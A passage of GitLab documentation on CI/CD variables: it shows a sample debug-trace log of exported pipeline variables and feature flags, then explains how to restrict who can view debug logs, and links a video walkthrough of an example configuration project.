oards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
++ export CI_PROJECT_TITLE='GitLab FOSS'
++ CI_PROJECT_TITLE='GitLab FOSS'
++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ export CI_PROJECT_NAMESPACE=gitlab-examples
++ CI_PROJECT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ export CI_PROJECT_VISIBILITY=public
++ CI_PROJECT_VISIBILITY=public
++ export CI_PROJECT_REPOSITORY_LANGUAGES=
++ CI_PROJECT_REPOSITORY_LANGUAGES=
++ export CI_DEFAULT_BRANCH=master
++ CI_DEFAULT_BRANCH=master
++ export CI_REGISTRY=registry.gitlab.com
++ CI_REGISTRY=registry.gitlab.com
++ export CI_API_V4_URL=https://gitlab.com/api/v4
++ CI_API_V4_URL=https://gitlab.com/api/v4
++ export CI_PIPELINE_IID=123
++ CI_PIPELINE_IID=123
++ export CI_PIPELINE_SOURCE=web
++ CI_PIPELINE_SOURCE=web
++ export CI_CONFIG_PATH=.gitlab-ci.yml
++ CI_CONFIG_PATH=.gitlab-ci.yml
++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ export CI_COMMIT_SHORT_SHA=dd648b2e
++ CI_COMMIT_SHORT_SHA=dd648b2e
++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ export CI_COMMIT_REF_NAME=master
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
...
```
### Restrict access to debug logging
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
You can restrict access to debug logging. When restricted, only users with
[developer or higher permissions](../../user/permissions.md#project-members-permissions)
can view job logs when debug logging is enabled with a variable in:
- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- The CI/CD variables set in the GitLab UI.
WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
to all users with access to job logs. The permission levels are not checked by the runner,
so you should only use the variable in GitLab itself.
## Video walkthrough of a working example
The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
working example project. It explains how multiple levels of group CI/CD variables
can be combined with environment-scoped project variables for complex configuration
of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.